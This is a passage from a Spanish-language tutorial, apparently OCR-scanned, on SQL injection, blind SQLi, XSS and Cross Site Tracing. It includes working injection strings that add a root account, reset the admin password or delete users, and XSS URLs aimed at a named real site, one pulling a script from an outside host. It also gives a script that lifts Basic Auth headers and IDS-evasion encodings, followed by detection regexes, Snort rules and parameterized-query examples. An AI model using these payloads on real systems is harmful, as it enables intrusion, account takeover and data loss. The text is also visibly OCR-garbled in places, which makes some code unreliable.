Por otra parte... ;Qué pudiera suceder en caso de que apliquemos tales conceptos de
Programacion Logica a la alteracion de datos (segun vuestras pretensiones)?
¢, Todavia siguen buscando una respuesta? Pues, aca, ello se resuelve...

= Insercion:

“INSERT INTO Usuarios VALUES (1,'ROOT",'p3p1t0','0")--

SELECT * FROM Usuarios WHERE Username =";
INSERT INTO Usuarios VALUES (1,'ROOT",'p3p1t0','0")--* AND Password ="

= Modificacién:

';UPDATE Usuarios SET Password = 'p3p1t0' WHERE Username = 'admin’--

SELECT * FROM Usuarios WHERE Username =";
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UPDATE Usuarios SET Password = 'p3p1t0' WHERE Username = 'admin’'--" AND Password ="

=  Fliminacion:

;DELETE FROM Usuarios WHERE Username = 'admin’--

SELECT * FROM Usuarios WHERE Username =";
DELETE FROM Usuarios WHERE Username = 'admin’'--" AND Password ="

Encima, tales conceptos de Inseguridad Informatica a nivel DB con aplicaciones dinamicas, no
concluye aqui.

También se conoce, en los “oscuros lugares” de La Querida Red, una tactica denominada Blind SQL
Injection (Ataque Ciego de Inyeccion SQL), la cual es utilizada cuando una pagina Web (por motivos
de “seguridad”’) no muestra mensajes de error de la DB al no haber un resultado correcto,
mostrandose siempre el mismo contenido. Es decir, lo opuesto a lo que veniamos revelando.

En tales medios, sentencias del tipo "OR 1=1" o "HAVING 1=1" ofrecen respuestas siempre
correctas por lo que son usadas como comprobacion.

Ahora, en tales asuntos, el inconveniente para la seguridad de la pagina esta en que esta técnica es
utilizada en combinacién de diccionarios o fuerza bruta para la busqueda caracter por caracter de
una contrasefia, un nombre de un usuario, un nimero de teléfono o cualquier otra informacién que
albergue la base de datos atacada; para ello se utiliza codigo SQL especifico que "va probando”
cada caracter consiguiendo resultados positivos cuando hay coincidencia alguna. De esta manera,
se puede saber, por ejemplo, que una contrasefia comienza por "T...", luego "TU...", posteriormente
"TUX...", y asi hasta dar con la palabra completa (¢ “TUXEDQO”?).
e XSS (Cross Site Scripting):
Ademas, aunque no pertenece a esta misma categoria de Vulnerabilidades pero esta
estrechamente relacionada, me animo a nombrar el Fantasma XSS (Cross Site Scripting).
¢, De qué se trata “todo esto”?
Es un ataque basado en la explotaciéon de vulnerabilidades del sistema de validaciéon de HTML
incrustado; surgido como consecuencia de errores de filirado de las entradas de un usuario en
Aplicaciones Web.
El problema reside en que, normalmente, no se valida correctamente el ingreso de datos
malintencionados por parte de un agente externo. Esta “lasitud” puede estar presente de forma
Directa (Foros, Mensajes de Error), Indirecta (Redirecciones, FrameSets) o con una variante poco
conocida de AJAX®. Cada una se tratara de forma disimil en la siguiente comparacion:
= Directa:
Este tipo de XSS es el que normalmente se censura; asi que es muy poco comun
que puedas usar Tags como <script> o <iframe>.
Su cardinal funcionalidad efectia la localizacién de puntos débiles en la
programacion de los filtros. De esa forma, se logra (en caso de fallas en el Cédigo
Web) quitar los <iframe>/<script>, donde el atacante siempre puede poner un <div>
malicioso, <u> o incluso un <s> con motivos perniciosos. Sin embargo, estos son
Tags (casi) siempre permitidos.
Algunas simples muestras se evidencian en los siguientes casos practicos copiados
y pegados (directamente) a la Barra de Direccion de su Navegador Web:

http://lwww.apress.com/ecommerce/cart.html/"><script>alert("XSS (Cross Site
Scripting) jPresente! Powered By: *[(CR@M3R)]*")</script><

O... Algo mas bonito:

> Nomenclatura recurrente de Asynchronous JavaScript And XML (JavaScript y XML Asincronos, donde XML es un acrénimo de
eXtensible Markup Language); es una técnica de desarrollo Web para crear aplicaciones interactivas. Estas se ejecutan en el cliente,
es decir, en el navegador del usuario, y mantiene comunicacion asincrona con el servidor en segundo plano. De esta manera, es
posible realizar cambios sobre la misma pagina sin necesidad de recargarla. Esto significa aumentar la interactividad, velocidad y
usabilidad en la misma.

Para Mas Informacion: http://es.wikipedia.org/wiki/AJAX .
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http://www.apress.com/ecommerce/cart.html/'’><script
src="http://cotelan.com.ar/JS.js"></script><

= Indirecta:
Este es un tipo de “debilidad” muy comun y poco explotada. Consiste en modificar
valores que la Aplicacion Web utiliza para pasar variables entre dos paginas, sin
usar sesiones de por medio para su aprobacién. Sucede cuando hay un mensaje o
una ruta en la URL del navegador o en la Cookie.
Para saber el contenido de una Cookie puedes usar el siguiente Script. Sélo
colécalo en la Barra de Direcciones y presiona Enter:
javascript:void(document.cookie=prompt("¢ Modifica la
Cookie?",document.cookie).split(";"));

Una vez dentro, se puede modificar la Cookie a tu antojo. Si pones “Cancelar’ la
misma sera borrada.
Otro ejemplo mas atractivo se encuentra en el manejo de FrameSets. Por eso, para
que lo notes tu mismo, te invito a probarlo con el uso de los pasos anteriormente
enunciados:

javascript:while(1)alert("¢; Podras Conmigo “Tonto Usuario de PCs”?"); |
Como podemos ver, ese mismo enlace podria ponerse por un intruso en un foro.
Un navegador incauto, va a verlo y dira: “Bueno, es del mismo dominio, no puede
ser nada malo y...”. De resultado tendra un jMolesto Ciclo Infinito!
Pero, vamos a ponernos en la “piel de un experto”. O sea, tratar de colocar un Script
que tome tu Cookie, y mande un MSJ al Administrador, o incluso, que borre todos
los mensajes de un foro predeterminado como “blanco”. Pues, seria algo jterrible!
El robo de Cookies es lo mas basico y funcional para un manojo de Newbies “In The
Wild”.
.Y eso de qué sirve?
Tengo el PHPSESSID, y si el usuario cierra sesion no sirve de nada.
Cierto, pero con el uso de la libreria cURL un usuario malintencionado podria, al
recibir tu Cookie, entrar a la pagina, y dejarla en caché, para que el atacante cuando
quiera, pueda entrar como tu, sin siquiera necesitar la contrasefia correspondiente.
Otro uso comun para estas vulnerabilidades es lograr hacer Phishing; o colocar un
Exploit.
Esto es... Tu ves la barra de direcciones, y divisas que estas en una péagina, pero
realmente estas en otra. Introduces tu Login u otro tipo de datos personales de alta
relevancia y...
jEres un “trofeo de caza” mas en la Red del Engafio!
Por lo tanto, ten en cuenta que lo peor suele hallarse en sitios de descarga
(indiscriminados), que colocan en la misma URL el sitio de objetivo. Esas paginas
Web son vulnerables a ataques XSS indirectos. O sea que, un intruso puede colocar
una imagen con enlace al sitio malicioso, y se ejecuta, sin que el usuario lo sepa o
tenga consentimiento de ello.
= AJAX:

Como ya dijimos, este es un tipo de XSS no tan popular, pero sumamente peligroso.

Se basa en usar cualquier tipo de vulnerabilidad para introducir un objeto XMLHTTP
y desde ahi enviar contenido POST, GET, y otros derivados, sin asentimiento ni
permiso del usuario.
A modo de ejemplo, el siguiente Script obtiene el valor de las cabeceras de
autenticacion de un sistema basado en Basic Auth. Sélo habria que decodificarlo,
pero es mas facil mandarlo codificado al Log de Contrasefnas. Veamoslo:
var xmlhttp=new ActiveXObject("Microsoft. XMLHTTP");
/I En Mogzilla Firefox es: var xmlhttp = new XMLHttpRequest();
xmlhttp.open("TRACE","./" false);
xmlhttp.send(null);
str1=xmlhttp.responseText;
splitString = str1.split("Authorization: Basic ");
str2=splitString[1];
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str3=str2.match(/.*/)[0];
alert(str3);

Esta tactica también puede conocerse con el nombre de: Cross Site Tracing (XST).

ACLARACIONES: Tales modelos presentados corresponden a una serie de particularidades exclusivas de
DB y su correspondiente Sistema dinédmico “corriendo” sobre el Servidor MS-SQL predestinado. O sea, los
ejemplos (arriba publicados) deben adaptarse a su objetivo y, como ya habéis de temer, puede que muchos
de ellos se comporten de una manera distinta e, incluso, que ni siquiera surtan efecto.
Todo ello dependera de La Situacion y el contexto que ustedes hayan escogido para realizar (como quién
dice: “de buena fe”) sus practicas a favor de sus conocimientos aprendidos.

Por otra parte, no se han tomado Escenarios de Pruebas para el desarrollo de La Nota, debido a que por
Internet mucho de ellos pueden ser investigados segun vuestros requerimientos (necesidades+expectativas)
y, asi, excluir mi Orientacion Gral. en cuanto a aspectos Individuales; aplicando lo conceptualmente visto
aqui.

El resto: jLo dejo a su Criterio!

Ahora bien, pero... ;Qué busco? ;Cbémo realizo la exploracion? ;Como pruebo la efectividad de mi
objetivo?
e /;Qué busco?
Paginas de Identidades y Autenticacion de Usuarios.
Formularios de Ingreso de Datos.
URLs en donde se manipulen Valores y/o Variables.
Portales Webs que utilicen programacion dinamica en sus aplicaciones (paginas).
Componentes que acepten ingresos de datos del usuario; procesandolos de algun
modo.
e ¢Cbmo realizo la exploracion?
o Enforma manual a través de MetaBuscadores (Ejemplo: Google, Yahoo, etcétera).
o En forma automatica/semi-automatica con Herramientas afines (AppDetective,
DataThief, Typhon Ill, NetTwister, OraScan, Curl, TeleportPRO, Wget, Fuzzer,
Spike, IPFront, Etc.).
o ¢Como pruebo la efectividad de mi objetivo?
o Ingresando el caracter “ * “ (Tick/Comilla Simple) en cada uno de los componentes
previamente reconocidos y observar el resultado obtenido en cada caso.
o Con los métodos que ofrecen las utilidades preliminarmente programadas.
Entonces, en contramedida... ;Como detecto tales vulnerabilidades (fallas/errores) y consigo
PROTEGERME de ellas?
« Inspeccién del Modelo OSI® a nivel de la Capa de Aplicacion (Layer 7).
« Evasién por medio de la Inclusién de Espacios en Blanco.
« [Evasién via Fragmentaciéon y Segmentacién TCP.
« Implementacién de Expresiones Regulares como muestran los siguientes ejemplos:
o Regex de Deteccion Basica (Meta-Caracteres MS-SQL Server)

O O O O O

1(\%27)|(V)I(\-\-)/ix

Donde:
i - No Case Sensitivity.
x - Ignorar Espacios en Blanco.

o Utilizacion de Regex Implementado en SNORT

% Se denomina asi al modelo de referencia de Interconexién de Sistemas Abiertos (OSI -Open System Interconection-). Fue lanzado
en 1984 como modelo de red descriptivo creado por la ISO (Organizacion de Estandares Internacionales). Proporciond a los
fabricantes un conjunto de estandares que aseguraron una mayor compatibilidad e interoperabilidad entre los distintos tipos de
tecnologias de redes producidas por las empresas a nivel mundial.

Para Mas Informacion: http://es.wikipedia.org/wiki/OSI .
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alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS
(msg:”SQL Injection — Deteccién Aparente”);
flow:to_server,established;uricontent:”.pl”;pcre:”/(\%27)
[(V)I(\A\-)/ix;
classtype:Web-application-attack; sid:9099; rev:5;)

Acatamiento de Patrones en Diferentes Variantes y Firmas, como se evidencia debajo:

‘or1=1--
'or2>1--

En este caso, la constante es tan solo ‘OR. Pero, la Légica Booleana puede variar segun la
situacion.

Uso del Nuevo Regex de Deteccién Basica (Meta-Caracteres MS-SQL Server):

Nw*((\%27)](V))((\%6F)|o](\%4F))((\%72)|r|(\%52))/ix

Donde:

\w* - Cero o més Caracteres Alfanuméricos (Underscore).

(\%6F)|o|( \%4F))((\%72)|r1(\%52) - Diversas Combinaciones de la palabra ‘or’
(May/Min/Hex).

i - No Case Sensitivity.

x - Ignorar Espacios en Blanco.

Evasion Basica utilizando Diferentes Encoders:

Original:
'OR 1=1--

Unicode:
%27 %41%52%20%31%3d%31%2d%2d

Original:
select @@version

Hex Encode:
0x730065006c00650063007400200040004000760065007200730069006f006e00

Configuracion de Alertas Administrativas y Cantidad de Firmas de Acceso en IDS/IPS (Sistemas de
Deteccion/Proteccion de Intrusos), especialmente en aquellos que “corran” SSL. Aqui, unos

ejemplos:

OR 'loquesea’ = 'loquesea’
OR 'loquesea’ = N'loquesea’

La insercién del Caracter (“N”) le notifica al Server MS-SQL que el siguiente String debe ser
tratado como Nvarchar.

OR 'loquesea’ ='loque'+'sea’
OR 'loquesea’ LIKE 'loquesea’
OR 'loquesea’ LIKE "%’

OR 'loque%' > 'a’

OR 'loquesea’ < 'z’

OR 'loquesea’ BETWEEN 'A’' AND ‘'Z'
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Y... Como anuncia el dicho: “Hecha la Ley, Hecha la Trampa”. Lo cual, por cada firma
inventada, una nueva técnica de “escapatoria” es factible de ser llevada a cabo. Si bien una
posibilidad, es la de construir firmas genéricas, esto trae aparejado el crecimiento
exponencial de los “falsos positivos”,

Cuestion de Interpretacion sobre “Espacios” y “Comentarios”:

OR 'loquesea’ ='loquesea’
PIORM M = I**1
UNION/**/SELECT ...

HAVING/**/1 = [**[1

Inspeccion detallada del Ingreso de Datos en Aplicaciones Webs Dinamicas (ejecutados sobre un
Server). A fin de asegurar que estos contengan SOLO caracteres aceptables antes de ser enviados
al BackEnd. Algunos paradigmas a tener en cuenta podrian ser los siguientes:
“Escape” de Comillas Simples.
Delimitadores de Consultas (Punto -.- y Punto y Coma -;-).
Delimitadores de Comentarios (-- y /*..%).
Rechazo y/o Denegacién de “Bads Inputs”.

o Permision de “Goods Inputs”.
Definicion (extremadamente) Controlada en la Declaracion de los Tipos de Datos a utilizar (en
tiempo de disefio).
Aseguracion en la Programacion de Codigo usado con Estandares y Normativas Robustas/Estables.
Seleccién de una Idénea (Eficaz+Eficiente) Metodologia de Trabajo en sus Desempefios.
Verificacion en el “Control de Cambios” y “Control de Versiones”.
Utilizacion Ampliada de “Codigo Reusable” (Ideologias provenientes de la Programacion OO).
Implementacion de Rutinas Genéricas y de Revisién de Cdodigo para Recursos Externos.
Disposiciéon de Controles de Calidad y Testeos en el Proceso de Desarrollo para/con sus Proyectos.
Insercion de “Stored Procedures” (Proc. de Almacenamiento) en la Invocacion de Rutinas Atipicas.
Realizacion de Actualizaciones Periddicas de Seguridad y Auditorias del Esquema de Seguridad.
Instalacién, Configuracion y Coordinacién de “Firewalls” (Cortafuegos) y “Border Routers”
(Fronteras).
Evite Almacenar Contrasefias (Passwords) en Scripts Internos de sus Programas.
Respete y haga Respetar el Principio: “Menores Privilegios”.
Adecue una Politica de Seguridad Apropiada para/con Su Empresa.
Implemente “Ciclos de Revision de Cédigo” y Utilice (dentro de lo posible) IPSec/SSL en lo Suyo.
Remontarse al Lenguaje de Programacién Elegido para tal Labor y Desplegar Soluciones en ellos.
Algunos de los ejemplos serian los siguientes:

o PERL

(e]
(e]
(e]
(e]

Método “DBI::quote” (Filtrado de Caracteres Especiales)
$query = $sql->prepare
(
"SELECT * FROM usuarios WHERE nombre ="

$sql->quote($nombre_usuario)

);

Método “placeholder” (Comillado Automatico de Bloqueos)

$query = $sql->prepare("SELECT * FROM usuario WHERE nombre = ?");
$query->execute($nombre_usuario);

o PHP (Con MySQL)
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Método “mysql_real_escape_string” (Escape Real de Strings Dafinos)

$query_result = mysql_query

(
"SELECT * FROM usuarios WHERE nombre =\""

mysql_real_escape_string($nombre_usuario)
Il\llll

);

o JAVA

Método “PreparedStatement” (Clase de Declaraciones Preparadas)

Connection con = (acquire Connection)
PreparedStatement pstmt = con.prepareStatement("SELECT * FROM usuarios
WHERE nombre = ?");
pstmt.setString(1, nombreUsuario);

ResultSet rset = pstmt.executeQuery();

o .NET

Método “ADO.NET SqlCommand” (Comando Proveedor de Seguridad MS-
SQL)

using( SglConnection con = (acquire connection) ) {
con. Open();
using( SglCommand cmd = new SqlCommand("SELECT * FROM usuarios
WHERE nombre = = @nombreUsuario", con) ) {

cmd.Parameters. Add("@nombreUsuario”, nombreUsuario);

using( SqlDataReader rdr = cmd.ExecuteReader() {

.
}
}

Bueno... Como han de apreciar, lo aqui manifestado es s6lo una “Incursiéon al Camino de Buen Aprendiz”
que Ustedes deberan llevar consigo y a cabo. Es decir, “abrirse” a otros flexibles casos practicos, ejemplos
y/o modelos en cuestién de sus criterios de clasificacion, evaluacién, conveniencias y circunstancias de
labor que se les presenten en La Vida Real y... ¢4 jPor qué no en “Sus Suefios”!? O sea... jNo se detengan
con lo poco que Tengan! jVayan en busca de Mas!

Conclusién (“Al Fin Llegamos a la Meta: ;jLo Logramos!?”)
Entonces... Si una Aplicacion Web ejecutandose en un Servidor maniobrado con MS-SQL Server (u otro
SGBD equivalente) admite (valga la reiteracioén de Iéxicos) SQL Injection, los riesgos a los que se enfrenta
son multiples y variados. Por ende, teniendo control sobre la DB es posible realizar consultas,
modificaciones, eliminaciones o inserciones de datos que, tal vez, no tengan limite coherente entre la
magnitud de acciones que realiza el agresor contra su (ya aniquilada) posibilidad de defensa frente a tales
inconvenientes; dejandolos (a Uds. y su Sistema) en deplorables condiciones de subsistencia.
Por lo tanto, para compendiar los aspectos conceptuales del ataque por SQL Injection nombraremos las
caracteristicas que le permiten al “dialecto” (lenguaje) SQL la dotacion flexible de tales maniobras:

e Poder embeber comentarios en una sentencia SQL.

e Poder escribir y (a la vez) ejecutar multiples sentencias como si solo fueran una.

e Poder realizar consultas de MetaDatos por medio de "Tablas de Sistema".
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e Poder convertir (implicitamente) los tipos de datos manejados en su DB.

e Poder comunicar (a través de sus Mensajes de Error) demasiada/excesiva informacion “delicada”.
Por tales motivos, cualquier Sistema de Gestion de Base de Datos (SGBD) que entiende SQL (llamese
Oracle, DB2, MS-SQL Server, MySQL, PostgreSQL, entre otros tantos rondando en vuestros ambitos) es
susceptible a recibir un ataque de este tipo a través de sus Aplicaciones (ya sean en Consola, Windows o
Web, e independiente de la plataforma de desarrollo con la que fue elaborada) con un simple Navegador de
Internet a disposicion.

Los Ataques por SQL Injection son realmente peligrosos, no Unicamente por la capacidad de dafio que
conllevan, sino porque son vulnerabilidades que muchos programadores no corrigen a tiempo (ni se
preocupan, a posteriori, de hacerlo). Es decir, que todo ello se basa sobre los pilares del tan renombrado y
cierto (como aterrador) Factor Humano. Por ello, espero que esta Nota, mas que para propiciar el uso de
este tipo de embates, sirva para prevenirlos de una posible y, tal vez, futura “Guerra Digital”.
Pero, siendo asi, en resumen: ; Como y de qué manera me protejo?
La Solucién al SQL Injection reside en una consistente y absoluta revisién y/o confrontacion
profesionalmente idonea de todos los parametros y cuestiones dirigidas a las Bases de Datos y la
Programacion/Disefio con respecto a su habitat. Por ende, es preciso estar al dia en materia de Seguridad
Informatica para controlar las Nuevas Técnicas de Inyecciones SQL que surgen continuamente (al paso del
tiempo); indudablemente, mas perfeccionadas y dificiles de combatir (nétese que no inclui la mera
probabilidad de un imposible).
Asimismo, como acotacion final a los lectores, un Ruego Personal: Si intentan reproducir lo aqui propuesto,
comprueben (Unicamente) alguno de los primeros ataques no tan nocivos, y participen del aviso (en forma
urgente) a las Organizaciones que tengan este tipo de vulnerabilidades con su modo de ser explotadas.
Sepan que “Jugar con la Seguridad” y causar dafios de esta indole (y otras analogas) puede afectar
seriamente La Vida Real de los Profesionales o las Empresas que han cumplido dichas Aspiraciones
(Proyectos Desarrollados); sin resguardo alguno.
Por lo tanto, seamos PERSONAS (por sobre todo) ETICAS y con USO DE RAZON MORAL-SOCIAL.
Porque... ¢ Quién sabe? Tal vez, el Dia de Mafiana podamos ser nosotros los Atacados.

Y... Recuerden Siempre para Nunca Jamas Olvidar:

“LA SEGURIDAD INFORMATICA NO ES UN PRODUCTO SINO UN PROCESO” .-

Enlaces de Interés (;En Internet!):

* http://les.wikipedia.org/wiki/Base_de_datos

Conceptos y fundamentos incipientes sobre Base de Datos (Novatos).

* http://es.wikipedia.org/wiki/SQL

Contenidos (en amplio espectro) sobre el Lenguaje de Consultas Estructurado (SQL).

% http://lwww.databasesecurity.com/dbsec/comparison.pdf

¢ Qué Sistema de Gestion de Base de Datos (SGBD) es mas conveniente para nuestros propésitos?
% http://len.wikipedia.org/wiki/David_Litchfield

Investigador y Asesor en Seguridad Informatica sobre Base de Datos (David Litchfield).

% http://www.hernanracciatti.com.ar

Especialista en Seguridad Informatica con amplia trayectoria y experiencia en tales temas.

% http://foro.elhacker.net/index.php/topic,98448.0

Recomendable Portal Web sobre Seguridad Informatica en todos los niveles (para todos).

% http://www.derkeiler.com/Mailing-Lists/securityfocus/secprog/2001-07/0001.html

Técnicas de ataque en Servidores Web con Scripts via Inyeccion SQL.

% http://lwww.nextgenss.com/papers/advanced_sgl_injection.pdf

Ataques Avanzados de Inyeccion SQL.

* http://spidynamics.com/whitepapers/WhitepaperSQLlInjection.pdf

Aplicaciones Web e Inyeccion SQL.

% http://[governmentsecurity.org/articles/SQLInjectionModesofAttackDefenceandWhyltMatters.php
Inyeccion SQL: Modos de Ataque, Defensa y Por qué sucede. Escrito por: Stuart McDonald.

% http://informit.com/articles/article.asp?p=30124&seqNum=3

Ataques a Servers SQL: Hacking, Cracking, y Técnicas de Protecciéon. Hecho Por: S.Fogie/C. Peikari.
% http://msdn.microsoft.com/msdnmag/issues/04/09/SQLInjection/

Detén los ataques de Inyeccion SQL antes de que ellos te detengan a ti. Escrito Por: Paul Litwin.

% http://www.spidynamics.com

SQL Injection: ¢ Es Vulnerable Su Aplicacion Web en el Servidor? Escrito Por: Kevin Spett.
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% http://www.sglsecurity.com
Portal Web sobre la Seguridad SQL.

EOF
(End Of File)

... SERA HASTA UN PROXIMO ENCUENTRO ...
(ENTRE VOS, LA AUTENTICA INFORMACION, Y YO)
{MIS CORDIALES SALUDOS }
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